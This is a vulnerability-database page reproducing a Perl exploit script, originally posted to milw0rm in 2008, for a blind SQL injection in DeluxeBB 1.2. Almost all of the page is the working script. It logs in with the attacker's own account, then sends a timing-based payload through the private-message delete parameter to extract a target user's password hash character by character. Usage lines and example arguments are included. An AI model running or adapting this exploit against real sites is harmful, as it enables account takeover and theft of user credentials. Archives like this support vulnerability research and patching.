Lucene search
K

DeluxeBB <= 1.2 - Remote Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit by atho

Code

                                                #!/usr/bin/perl 
# --------------------------------------------------
# DeluxeBB &#60;= 1.2 Remote Blind SQL Injection Exploit
# --------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://deluxebb.com
# --------------------------------------------------
# Usage:
# perl xpl.pl host/path prefix id password target id
# perl xpl.pl localhost/deluxebb deluxebb 5 r00x 1
# --------------------------------------------------
# Note: magic_quotes_gpc off
#       don&#39;t add me on msn messenger
#       my email [email protected]
# --------------------------------------------------
# Greetz: str0ke,The:Paradox and #cancer
# --------------------------------------------------

use strict;
use Digest::MD5(&#39;md5_hex&#39;);
use LWP::UserAgent;

my ($hash,$http);
my ($host,$prefix,$user,$pass,$target) = @ARGV;

$http = new LWP::UserAgent(timeout =&#62; 5);

if (@ARGV != 5)
{
      print &#34;\n+----------------------------------------------------+\r&#34;,
            &#34;\n| DeluxeBB &#60;= 1.2 Remote Blind SQL Injection Exploit |\r&#34;,
            &#34;\n+----------------------------------------------------+\r&#34;,
            &#34;\nby athos - staker[at]hotmail[dot]it\n&#34;,
            &#34;\nUsage     + perl $0 [host/path] [prefix] [ID] [password] [target ID]&#34;,
            &#34;\nHost      + localhost/DeluxeBB&#34;,
            &#34;\nID        + your user ID&#34;,
            &#34;\nPassword  + your password&#34;,
            &#34;\nPrefix    + table prefix (default: deluxebb)&#34;,
            &#34;\nTarget ID + target id\n&#34;;
      exit;
}      

$http-&#62;default_header(&#39;Cookie&#39; =&#62; cookies($user,$pass));

&exploit;

sub getUsername
{
      my ($user_id,$response,@nickname) = $_[0];
 
      $response = $http-&#62;get(&#34;http://$host/misc.php?sub=profile&uid=$user_id&#34;);
      @nickname = $response-&#62;as_string =~ m{&#60;span class=&#34;misctext&#34;&#62;(.+?)&#60;/span&#62;}ig;
      
      return $nickname[1];
}      



sub cookies
{
      my ($username);
      my ($user_id,$password) = @_;
      
      $username = getUsername($user_id);
      $password = md5_hex($password);
      
      return qq{membercookie=$username; memberid=$user_id; memberpw=$password;};
}      
      
      
sub getMsg
{
      my $response = $http-&#62;get(&#34;http://$host/pm.php?sub=folder&name=inbox&#34;);
      
      if ($response-&#62;as_string =~ m/pid=(\d+)./i)
      {
            return $1;
      }
      else
      {
            my $content = {
                 to       =&#62; getUsername($user),
                 subject  =&#62; rand(999),
                 posticon =&#62; &#39;none&#39;,
                 rte1     =&#62; rand(999),
                 submit   =&#62; &#39;Send&#39;

            };  
                            
                            
            my $request = $http-&#62;post(&#34;http://$host/pm.php?sub=newpm&#34;,$content);
            my $read_id = $http-&#62;get(&#34;http://$host/pm.php?sub=folder&name=inbox&#34;);
            
            if ($read_id-&#62;content =~ /pid=(\d+)./i)
            {
                  return $1;
            }
      }      
}      
    

sub sql
{
      my ($i,$j,$sql) = (shift,shift,undef);
      
      $sql = &#34;%27+OR+(SELECT+IF((ASCII(SUBSTRING(pass,$i,1))=$j),&#34;.
             &#34;benchmark(200000000,CHAR(0)),0)+FROM+${prefix}_users&#34;.
             &#34;+WHERE uid=$target))%23&#34;;
             
      return $sql;        
}        
    

sub delay
{
      my ($tm1,$tm2) = (undef,undef);
      my ($msg,$sql) = @_;
      
      $tm1 = time();
      
      $http-&#62;get(&#34;http://$host/pm.php?sub=do&submit=Delete&delete$msg=$sql&#34;);

      $tm2 = time();
      
      return $tm2 - $tm1;
}
    
    
sub exploit
{
      my ($i,$ord) = (1,undef);
      my @chr = (48..57, 97..102); 
      
      for ($i..32)
      {
            foreach $ord(@chr)
            {
                  if (delay(&getMsg,&sql($i,$ord)) &#62;= 5)
                  {
                        syswrite(STDOUT,chr($ord)); $hash .= chr($ord);
                        last;
                        $i++;
                  }      
                  
                  if ($i == 2 and not defined $hash)
                  {
                        syswrite(STDOUT,&#34;Exploit Failed!\n&#34;);
                        exit;
                  }
            } 
      }                 
}    

# milw0rm.com [2008-12-28]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation